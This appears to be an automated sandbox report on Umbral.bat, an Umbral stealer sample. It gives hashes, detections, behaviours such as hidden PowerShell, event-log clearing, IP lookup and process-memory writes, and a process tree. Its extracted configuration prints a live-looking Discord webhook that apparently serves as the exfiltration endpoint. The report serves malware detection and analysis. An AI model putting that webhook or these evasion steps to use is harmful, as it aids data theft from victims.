Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27-10-2024 17:23
Static task
static1
Behavioral task
behavioral1
Sample
Umbral.bat
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Umbral.bat
Resource
win10v2004-20241007-en
General
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Target
Umbral.bat
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Size
468KB
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MD5
50c1619dde4c59211f2220d19fd7a2ff
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SHA1
f89a90307b00ff0bd2733642ea43427bc304c730
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SHA256
b99eb432b5d440a41faf8ed09c3df4ff0cf82ca13fefed8c2cb56ca96960ab4d
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SHA512
ed591a3357cc3e3487b708f2e08a74683c93d5e5e16d1978f90f4dc37b77f147bb36ba3cb55318d146c0831f7636baa22006b6c9960db3e8a72dbdc798efb627
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SSDEEP
12288:7WdGCJGwwo92cPLI0O8JtFDUB9PvBxdCAI2hlojjF9xq:SNswwxcjJngP3PdCVuM9xq
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1289565581565104128/6_mwv0w1S5A0l9XLPkwW6UmUZxdAw3mP7dh5lsWmFsgqgu5kJGEszt1-zAw_BajgNh6i
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral2/memory/1328-116-0x000001D5C2DC0000-0x000001D5C2E00000-memory.dmp family_umbral -
Umbral family
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Blocklisted process makes network request 2 IoCs
flow pid Process 17 1328 powershell.exe 23 1328 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1328 powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 ip-api.com -
Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00F983B571E" svchost.exe -
Modifies registry class 31 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745233920862217" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133745234005359755" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133745234318328772" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745234637391131" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745234994891290" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745235013016199" svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133727704302956807" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133745235033641179" svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745235361453718" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745235358016185" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133745235373641254" svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133745234652703687" svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133727704304831796" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133745235363328846" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745234308016200" svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133745234976141185" svchost.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe 1328 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1328 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2512 svchost.exe Token: SeIncreaseQuotaPrivilege 2512 svchost.exe Token: SeSecurityPrivilege 2512 svchost.exe Token: SeTakeOwnershipPrivilege 2512 svchost.exe Token: SeLoadDriverPrivilege 2512 svchost.exe Token: SeSystemtimePrivilege 2512 svchost.exe Token: SeBackupPrivilege 2512 svchost.exe Token: SeRestorePrivilege 2512 svchost.exe Token: SeShutdownPrivilege 2512 svchost.exe Token: SeSystemEnvironmentPrivilege 2512 svchost.exe Token: SeUndockPrivilege 2512 svchost.exe Token: SeManageVolumePrivilege 2512 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2512 svchost.exe Token: SeIncreaseQuotaPrivilege 2512 svchost.exe Token: SeSecurityPrivilege 2512 svchost.exe Token: SeTakeOwnershipPrivilege 2512 svchost.exe Token: SeLoadDriverPrivilege 2512 svchost.exe Token: SeSystemtimePrivilege 2512 svchost.exe Token: SeBackupPrivilege 2512 svchost.exe Token: SeRestorePrivilege 2512 svchost.exe Token: SeShutdownPrivilege 2512 svchost.exe Token: SeSystemEnvironmentPrivilege 2512 svchost.exe Token: SeUndockPrivilege 2512 svchost.exe Token: SeManageVolumePrivilege 2512 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2512 svchost.exe Token: SeIncreaseQuotaPrivilege 2512 svchost.exe Token: SeSecurityPrivilege 2512 svchost.exe Token: SeTakeOwnershipPrivilege 2512 svchost.exe Token: SeLoadDriverPrivilege 2512 svchost.exe Token: SeSystemtimePrivilege 2512 svchost.exe Token: SeBackupPrivilege 2512 svchost.exe Token: SeRestorePrivilege 2512 svchost.exe Token: SeShutdownPrivilege 2512 svchost.exe Token: SeSystemEnvironmentPrivilege 2512 svchost.exe Token: SeUndockPrivilege 2512 svchost.exe Token: SeManageVolumePrivilege 2512 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2512 svchost.exe Token: SeIncreaseQuotaPrivilege 2512 svchost.exe Token: SeSecurityPrivilege 2512 svchost.exe Token: SeTakeOwnershipPrivilege 2512 svchost.exe Token: SeLoadDriverPrivilege 2512 svchost.exe Token: SeSystemtimePrivilege 2512 svchost.exe Token: SeBackupPrivilege 2512 svchost.exe Token: SeRestorePrivilege 2512 svchost.exe Token: SeShutdownPrivilege 2512 svchost.exe Token: SeSystemEnvironmentPrivilege 2512 svchost.exe Token: SeUndockPrivilege 2512 svchost.exe Token: SeManageVolumePrivilege 2512 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2512 svchost.exe Token: SeIncreaseQuotaPrivilege 2512 svchost.exe Token: SeSecurityPrivilege 2512 svchost.exe Token: SeTakeOwnershipPrivilege 2512 svchost.exe Token: SeLoadDriverPrivilege 2512 svchost.exe Token: SeSystemtimePrivilege 2512 svchost.exe Token: SeBackupPrivilege 2512 svchost.exe Token: SeRestorePrivilege 2512 svchost.exe Token: SeShutdownPrivilege 2512 svchost.exe Token: SeSystemEnvironmentPrivilege 2512 svchost.exe Token: SeUndockPrivilege 2512 svchost.exe Token: SeManageVolumePrivilege 2512 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2512 svchost.exe Token: SeIncreaseQuotaPrivilege 2512 svchost.exe Token: SeSecurityPrivilege 2512 svchost.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3348 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1744 wrote to memory of 5028 1744 cmd.exe 87 PID 1744 wrote to memory of 5028 1744 cmd.exe 87 PID 1744 wrote to memory of 1328 1744 cmd.exe 88 PID 1744 wrote to memory of 1328 1744 cmd.exe 88 PID 1328 wrote to memory of 3348 1328 powershell.exe 55 PID 1328 wrote to memory of 388 1328 powershell.exe 69 PID 1328 wrote to memory of 1680 1328 powershell.exe 29 PID 1328 wrote to memory of 2552 1328 powershell.exe 48 PID 1328 wrote to memory of 1956 1328 powershell.exe 36 PID 1328 wrote to memory of 3332 1328 powershell.exe 73 PID 1328 wrote to memory of 1160 1328 powershell.exe 19 PID 1328 wrote to memory of 948 1328 powershell.exe 12 PID 1328 wrote to memory of 1144 1328 powershell.exe 18 PID 1328 wrote to memory of 2916 1328 powershell.exe 50 PID 1328 wrote to memory of 1928 1328 powershell.exe 35 PID 1328 wrote to memory of 2512 1328 powershell.exe 47 PID 1328 wrote to memory of 2504 1328 powershell.exe 46 PID 1328 wrote to memory of 1892 1328 powershell.exe 34 PID 1328 wrote to memory of 1692 1328 powershell.exe 30 PID 1328 wrote to memory of 2280 1328 powershell.exe 42 PID 1328 wrote to memory of 1884 1328 powershell.exe 33 PID 1328 wrote to memory of 1292 1328 powershell.exe 22 PID 1328 wrote to memory of 2272 1328 powershell.exe 41 PID 1328 wrote to memory of 892 1328 powershell.exe 11 PID 1328 wrote to memory of 1676 1328 powershell.exe 38 PID 1328 wrote to memory of 1872 1328 powershell.exe 32 PID 1328 wrote to memory of 1472 1328 powershell.exe 27 PID 1328 wrote to memory of 4916 1328 powershell.exe 67 PID 1328 wrote to memory of 1464 1328 powershell.exe 26 PID 1328 wrote to memory of 1264 1328 powershell.exe 21 PID 1328 wrote to memory of 864 1328 powershell.exe 15 PID 1328 wrote to memory of 1448 1328 powershell.exe 25 PID 1328 wrote to memory of 2224 1328 powershell.exe 40 PID 1328 wrote to memory of 1628 1328 powershell.exe 28 PID 1328 wrote to memory of 1036 1328 powershell.exe 17 PID 1328 wrote to memory of 1428 1328 powershell.exe 24 PID 1328 wrote to memory of 836 1328 powershell.exe 10 PID 1328 wrote to memory of 1816 1328 powershell.exe 39 PID 1328 wrote to memory of 2404 1328 powershell.exe 43 PID 1328 wrote to memory of 1020 1328 powershell.exe 54 PID 1328 wrote to memory of 3380 1328 powershell.exe 56 PID 1328 wrote to memory of 424 1328 powershell.exe 16 PID 1328 wrote to memory of 1800 1328 powershell.exe 31 PID 1328 wrote to memory of 3440 1328 powershell.exe 68 PID 1328 wrote to memory of 3568 1328 powershell.exe 57 PID 1328 wrote to memory of 3368 1328 powershell.exe 66 PID 1328 wrote to memory of 4744 1328 powershell.exe 70 PID 1328 wrote to memory of 1392 1328 powershell.exe 23 PID 1328 wrote to memory of 2456 1328 powershell.exe 44 PID 1328 wrote to memory of 1192 1328 powershell.exe 20 PID 1328 wrote to memory of 396 1328 powershell.exe 14 PID 836 wrote to memory of 1152 836 svchost.exe 89 PID 836 wrote to memory of 1152 836 svchost.exe 89 PID 1328 wrote to memory of 2804 1328 powershell.exe 92 PID 1328 wrote to memory of 2804 1328 powershell.exe 92 PID 836 wrote to memory of 1660 836 svchost.exe 97 PID 836 wrote to memory of 1660 836 svchost.exe 97 PID 836 wrote to memory of 4988 836 svchost.exe 99 PID 836 wrote to memory of 4988 836 svchost.exe 99 PID 836 wrote to memory of 4988 836 svchost.exe 99 PID 836 wrote to memory of 4400 836 svchost.exe 100 PID 836 wrote to memory of 4400 836 svchost.exe 100 PID 836 wrote to memory of 3672 836 svchost.exe 101 PID 836 wrote to memory of 3672 836 svchost.exe 101
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding2⤵PID:1152
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:1660
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:4988
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:4400
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:3672
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:2412
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:1176
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:2796
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:4156
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:3560
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵PID:3120
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:1984
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C:\Windows\system32\BackgroundTaskHost.exe"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider2⤵PID:3064
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding2⤵PID:3144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:396
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:864
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1160
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1428
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1628
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1680
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1692
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1884
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:1676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2456
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:1020
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3348 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Umbral.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1744 -
